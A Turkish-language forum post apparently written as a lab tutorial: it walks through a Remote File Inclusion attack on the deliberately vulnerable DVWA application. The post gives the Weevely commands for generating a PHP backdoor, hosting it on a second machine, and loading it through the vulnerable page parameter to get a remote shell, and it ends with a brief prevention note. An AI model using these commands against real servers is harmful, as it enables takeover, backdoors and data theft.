RFI Kullanarak Sisteme Zararlı Yazılım Yükleme

Rıdvankaya

Uzman Üye
Katılım
21 Eyl 2023
Mesajlar
95
Tepkime puanı
42
Puanları
18
Yaş
31
Konum
Midyat/Mardin
Web sitesi
github.com
RFI Kullanarak Sisteme Zararlı Yazılım Yükleme
RFI (Remote File Inclusion) kullanarak sisteme zararlı yazılım yükleme, web uygulamalarının güvenlik açıklarını istismar ederek, uzak bir sunucudan kötü amaçlı bir dosyayı dahil etmek ve çalıştırmak anlamına gelir. Bu şekilde, saldırgan hedef sunucuyu ele geçirebilir, verileri çalabilir, komutlar çalıştırabilir veya başka saldırılar gerçekleştirebilir.
RFI saldırısı yapmak için, saldırganın aşağıdaki şartları sağlaması gerekir:
- Hedef web sunucusu, kullanıcı girdisini doğrulamadan veya filtrelemeden dahil etme fonksiyonları (örneğin, PHP'de include, require, fopen vb.) kullanmalıdır.
- Saldırganın, hedef web sunucusuna erişebileceği ve kötü amaçlı dosyayı barındırabileceği bir uzak sunucuya sahip olması gerekir.
Aşağıda, RFI saldırısı yapmak için kullanabileceğiniz güncel bilgiler ve adımlar bulunmaktadır.
Kullanılan Araçlar:
- DVWA (Damn Vulnerable Web Application): Güvenlik açıklarını test etmek için tasarlanmış bir web uygulamasıdır.
- Weevely: PHP tabanlı bir web kabuğu ve arka kapı aracıdır. Kötü amaçlı dosya olarak kullanacağımız scripti oluşturmak için kullanacağız.
Adımlar:
1. Adım: DVWA üzerinde File Inclusion zafiyetini açmak için, DVWA Security bölümünden Security Level'i Low olarak ayarlayın. Ardından, File Inclusion bölümüne gidin. Burada, bir dosya adı girmenizi isteyen bir kutu göreceksiniz. Bu kutu, kullanıcı girdisini doğrulamadan include fonksiyonunu kullanan bir PHP kodunu çalıştırmaktadır. Bu, RFI saldırısı için bir açık oluşturmaktadır.
2. Adım: Weevely ile bir web kabuğu oluşturmak için, terminalde aşağıdaki komutu çalıştırın. Burada, shell.php dosya adı, password ise web kabuğuna erişmek için kullanacağımız paroladır. Bu komut, shell.php dosyasını oluşturacaktır.
weevely generate password shell.php
3. Adım: Oluşturduğumuz shell.php dosyasını, DVWA sunucusuna erişebileceğimiz bir uzak sunucuya yükleyelim. Bunun için, bir FTP sunucusu veya bir web sunucusu kullanabiliriz. Örneğin, shell.php dosyasını /var/www/html dizinine kopyalayarak, http://192.168.1.102/shell.php adresinden erişilebilir hale getirebiliriz.
4. Adım: DVWA üzerindeki File Inclusion kutusuna, uzak sunucudaki shell.php dosyasının adresini girerek, RFI saldırısını gerçekleştirelim. Bu, DVWA sunucusunda shell.php dosyasını çalıştıracak ve web kabuğunu aktif hale getirecektir. Kutuya aşağıdaki değeri girip Submit butonuna tıklayalım.
php
5. Adım: Artık DVWA sunucusu üzerinde komutlar çalıştırmaya başlayabiliriz. Bunun için, Weevely ile web kabuğuna bağlanmak üzere, terminalde aşağıdaki komutu çalıştıralım. Burada, http://192.168.1.101/vulnerabilities/fi/?page=http://192.168.1.102/shell.php adresi, DVWA sunucusundaki File Inclusion kutusunun çalıştırdığı PHP kodunun adresidir. Password ise, web kabuğunu oluştururken kullandığımız paroladır.
weevely http://192.168.1.101/vulnerabilities/fi/?page=http://192.168.1.102/shell.php password
Bu komut, bizi web kabuğuna bağlayacak ve DVWA sunucusunda komut çalıştırabileceğimiz bir arayüz sunacaktır. Örneğin, DVWA sunucusunun işletim sistemi, kullanıcı adı ve çalışma dizini gibi bilgileri almak için aşağıdaki komutu çalıştırabiliriz.
:system.info
Bu şekilde, RFI saldırısı yaparak, DVWA sunucusunu ele geçirmiş oluruz. Bu saldırıyı önlemek için, web uygulamalarının kullanıcı girdilerini doğrulaması ve filtrelemesi ve sadece güvenli kaynaklardan dosya dahil etmesi gerekir.
 
Üst